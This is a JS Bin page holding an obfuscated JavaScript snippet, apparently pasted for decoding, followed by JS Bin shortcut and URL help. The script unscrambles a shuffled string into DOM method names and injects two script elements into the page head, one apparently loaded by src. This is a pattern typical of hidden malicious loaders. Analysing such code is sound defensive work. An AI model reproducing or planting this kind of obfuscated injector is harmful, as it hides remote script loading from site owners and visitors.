<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width">
<title>JS Bin</title>
</head>
<body>
</body>
</html>
/* all tears washed away by 2ch anon */
var _0x17545;
var _0x17516;
var _0x17574;
var _0x174E7;
var _0x175D2;
var _0x174B8;
var _0x175A3;
(function() {
/**
* @param {boolean} number
* @param {number} width
* @return {?}
*/
function init(number, width) {
return function() {
var n = number.length;
/** @type {Array} */
var result = [];
/** @type {number} */
var i = 0;
for (;i < n;i++) {
result[i] = number.charAt(i);
}
/** @type {number} */
i = 0;
for (;i < n;i++) {
/** @type {number} */
var a = width * (i + 5) + width % 345745;
/** @type {number} */
var b = width * (i + 7) + width % 309836;
/** @type {number} */
var index = a % n;
/** @type {number} */
var rand = b % n;
var value = result[index];
result[index] = result[rand];
result[rand] = value;
/** @type {number} */
width = (a + b) % 61948665;
}
/** @type {string} */
var str = String.fromCharCode(127);
/** @type {string} */
var text = "";
/** @type {string} */
var whitespaceRegex = "%";
/** @type {string} */
var spaces = "#1";
/** @type {string} */
var c = "%";
/** @type {string} */
var separator = "#0";
/** @type {string} */
var ns = "#";
console.log(result.join(text).split(whitespaceRegex).join(str).split(spaces).join(c).split(separator).join(ns).split(str));
return result.join(text).split(whitespaceRegex).join(str).split(spaces).join(c).split(separator).join(ns).split(str);
}.apply(this, arguments);
}
var obj = init("sa oyalccersts%eleut=o;eecretl jsnrsl%tmEhpcmeedBrc2mncpr tmpT%cvirteaiteNovvcdpa-ldaospopheang%.taliteee%.= rpT%/esENo%mo%mcx1petureapdiprascrm%joearesCoytxpe- gi.tar ca;p%l.tp%.s", 61617043);
if (!init) {
init(true, obj[11], false, false);
/** @type {number} */
init = 1;
}
_0x17545 = document[obj[1]](obj[0]);
_0x17545[obj[2]] = obj[3];
_0x17516 = obj[4];
if (!init) {
init();
/** @type {number} */
init = 0;
} else {
_0x17574 = document[obj[5]](_0x17516);
}
_0x17545[obj[6]](_0x17574);
_0x174E7 = document[obj[8]](obj[7])[0];
_0x174E7[obj[6]](_0x17545);
_0x175D2 = document[obj[1]](obj[0]);
_0x175D2[obj[2]] = obj[3];
if (!obj) {
return;
}
_0x17516 = obj[9];
_0x175D2[obj[10]] = obj[11];
if (!obj) {
/** @type {boolean} */
init = true;
return;
}
_0x174B8 = document[obj[5]](_0x17516);
_0x175D2[obj[6]](_0x174B8);
if (init == obj[7]) {
/** @type {boolean} */
init = false;
}
_0x175A3 = document[obj[8]](obj[7])[0];
_0x175A3[obj[6]](_0x175D2);
})();
Output
300px
You can jump to the latest bin by adding /latest
to your URL
Keyboard Shortcuts
Shortcut | Action |
---|---|
ctrl + [num] | Toggle nth panel |
ctrl + 0 | Close focused panel |
ctrl + enter | Re-render output. If console visible: run JS in console |
Ctrl + l | Clear the console |
ctrl + / | Toggle comment on selected lines |
ctrl + ] | Indents selected lines |
ctrl + [ | Unindents selected lines |
tab | Code complete & Emmet expand |
ctrl + shift + L | Beautify code in active panel |
ctrl + s | Save & lock current Bin from further changes |
ctrl + shift + s | Open the share options |
ctrl + y | Archive Bin |
Complete list of JS Bin shortcuts |
JS Bin URLs
URL | Action |
---|---|
/ | Show the full rendered output. This content will update in real time as it's updated from the /edit url. |
/edit | Edit the current bin |
/watch | Follow a Code Casting session |
/embed | Create an embeddable version of the bin |
/latest | Load the very latest bin (/latest goes in place of the revision) |
/[username]/last | View the last edited bin for this user |
/[username]/last/edit | Edit the last edited bin for this user |
/[username]/last/watch | Follow the Code Casting session for the latest bin for this user |
/quiet | Remove analytics and edit button from rendered output |
.js | Load only the JavaScript for a bin |
.css | Load only the CSS for a bin |
Except for username prefixed urls, the url may start with http://jsbin.com/abc and the url fragments can be added to the url to view it differently. |